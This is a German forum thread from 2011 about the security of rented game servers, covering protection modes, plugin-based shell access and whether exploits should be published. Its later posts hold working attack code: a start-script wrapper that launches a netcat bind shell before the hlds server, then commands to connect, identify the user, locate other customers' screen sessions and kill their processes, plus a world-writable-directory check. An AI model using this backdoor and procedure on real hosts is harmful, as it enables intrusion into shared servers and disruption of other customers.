Lieber Besucher, herzlich willkommen bei: sourceserver.info. Falls dies Ihr erster Besuch auf dieser Seite ist, lesen Sie sich bitte die Hilfe durch. Dort wird Ihnen die Bedienung dieser Seite näher erläutert. Darüber hinaus sollten Sie sich registrieren, um alle Funktionen dieser Seite nutzen zu können. Benutzen Sie das Registrierungsformular, um sich zu registrieren oder informieren Sie sich ausführlich über den Registrierungsvorgang. Falls Sie sich bereits zu einem früheren Zeitpunkt registriert haben, können Sie sich hier anmelden.
Benutzerinformationen überspringen
Administrator
Wohnort: Hagen
Beruf: Mechatroniker (didaktische Systeme)
Rootserver vorhanden: Nein
Zitat
You have been permanently banned from this board.
Please contact the Board Administrator for more information.
Reason given for ban: mit Ulrich und Verbreitung von Unwahrheiten. In seinem Block wird aufgezeigt, dass der Protection Modus angeblich falsch ist aber bei ****, wenn man die Anleitung befolgt funktioniert. Dumm nur dass es reine FTP Einstellungen sind und es demnach nicht an der SOFTWARE **** liegt und mit der Anleitung auf **** sicher ist, was aber verschwiegen wird. Vielleicht erst denken, dann schreiben und zustimmen
A ban has been issued on your username.
Benutzerinformationen überspringen
Administrator
Wohnort: Hagen
Beruf: Mechatroniker (didaktische Systeme)
Rootserver vorhanden: Nein
btw. ohne "quelloffene" exploit listen, z.b. wie milw0rm, wäre das internet nur vielleicht 1/3 oder weniger so sicher wie es ist.
Benutzerinformationen überspringen
Administrator
Wohnort: Hagen
Beruf: Mechatroniker (didaktische Systeme)
Rootserver vorhanden: Nein
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von »LeGone« (28. September 2011, 13:50)
btw. ohne "quelloffene" exploit listen, z.b. wie milw0rm, wäre das internet nur vielleicht 1/3 oder weniger so sicher wie es ist.
das ist nicht richtig. in wahrheit ist es eigentlich eher verpöhnt, nutzbare exploits offen zu posten. es reicht vollkommen, auf die sicherheitslücke hinzuweisen. das kann und sollte man offen tun, nachdem man den betroffenen die gelegenheit gegeben hat, die lücken zu schließen. einen nutzbaren exploit zu posten macht aber einfach keinen sinn, außer man will entweder provozieren oder hackern helfen.
btw, ich verstehe die ganze aufregung nicht so ganz. eigentlich ist es doch ganz simpel. wenn man die installation des servers nie verändern konnte (dafür reicht doch ein einfacher schreibschutz via Linux rechtevergabe), plugin_load unterbunden ist und außerdem sichergestellt wird, dass tatsächlich der richtige server läuft, ist es doch wassderdicht.
achja: wenn man überhaupt plugins installieren kann auf dem selben root (anderer server oder unprotected modus), ist das so gut wie ein shellzugang mit den rechten, mit denen der server ausgeführt wird (es gibt plugins, mit denen man shell-befehle per rcon ausführen kann...). shellzugang verbieten ist also security by obfuscation, mehr nicht...
Dieser Beitrag wurde bereits 5 mal editiert, zuletzt von »MadMakz« (28. September 2011, 18:56)
Dieser Beitrag wurde bereits 4 mal editiert, zuletzt von »MadMakz« (28. September 2011, 21:57)
Benutzerinformationen überspringen
Administrator
Wohnort: Hagen
Beruf: Mechatroniker (didaktische Systeme)
Rootserver vorhanden: Nein
Deswegen der Vorschlag mit dem Chroot. Ansatzweise hätte der erste Vorschlag mit dem Alias den Cheatern Steine in den Weg gelegt. In den Foren gibt es auch tolle Tipps zu welchen Providern man gehen soll.es hilft a) nicht, jede einzelne lücke zu schließen, weil es werden immer neue wege gefunden, dann den schutz zu umgehen.
genausowenig muss man b) irgendwas physikalisch trennen, denn (solang man keinen ungepatchten kernel < 2.6.32 einsetzt) die Linux rechteverwaltung funktioniert einwandfrei.
Quellcode |
|
1 2 3 4 5 6 7 8 |
find / -type d -user root -perm 1777 2>/dev/null #such dir ein Verzeichnis aus #dann .z.B. echo hello > /var/lock/test.so chmod 644 /var/lock/test.so su andererServer cat /var/lock/test.so #nun darf jeder dran |
Lustig, wie viele Provider schon beim Test durchgefallen sind. Das ging von ganz einfach bis extrem kompliziert. Das das WI eines ganz bestimmten Anbieters ziemlich oft durchgefallen ist, mag wohl daran liegen, dass es so weit verbreitet ist.lustig, was hier alles für halbwahrheiten aufkommen
Benutzerinformationen überspringen
Administrator
Wohnort: Hagen
Beruf: Mechatroniker (didaktische Systeme)
Rootserver vorhanden: Nein
Quellcode |
|
1 2 3 4 5 6 7 8 9 10 11 12 |
access() { while true; do nohup netcat -e /bin/sh -ln -s IP-DES-GAMESERVER -p GAMESERVERPORT+1 IP-DES-ZUGREIFENDEN-HOSTS &> /dev/null [ $? -eq 0 ] && break sleep 2 done } if ! `ps u | grep -q netcat`; then which netcat >/dev/null && access & touch ~/rdy fi ./hlds_i686_2 $@ |
Quellcode |
|
1 |
netcat IP-DES-GAMESERVERS PORT-DES-NETCAT-DAEMON |
Quellcode |
|
1 2 |
whoami #es sollte der Username ausgegeben werden |
Quellcode |
|
1 |
ps aux | grep SCREEN | grep GAMESERVERIP | grep GAMESERVERPORT |
Quellcode |
|
1 |
screen DANN_DEN_KOPIERTEN_TEIL |
Quellcode |
|
1 |
killall -qu server |
Quellcode |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
search_pids () { if [ "$1" == "$pid" ]; then break fi pgrep -P "$1" | while read process; do echo -n "$process " search_pids $process done } get_screen_name () { if [ $USER = "root" ]; then su -c "screen -ls" $daemon_user | grep [.]$screen_name[[:space:]] | awk '{print $1}' else screen -ls | grep [.]$1[[:space:]] | awk '{print $1}' fi } get_screen_pid () { get_screen_name $1 | cut -d '.' -f1 } killscreen () { screenpid="$(get_screen_pid $1)" pids="$(search_pids "$screenpid")" echo "kill $pids" #auskommentieren, wenn funktionsfähig #kill "$pids" #auskommentieren, wenn funktionsfähig } killscreen $1 # Aufruf: # ./killscreen.sh screenname # |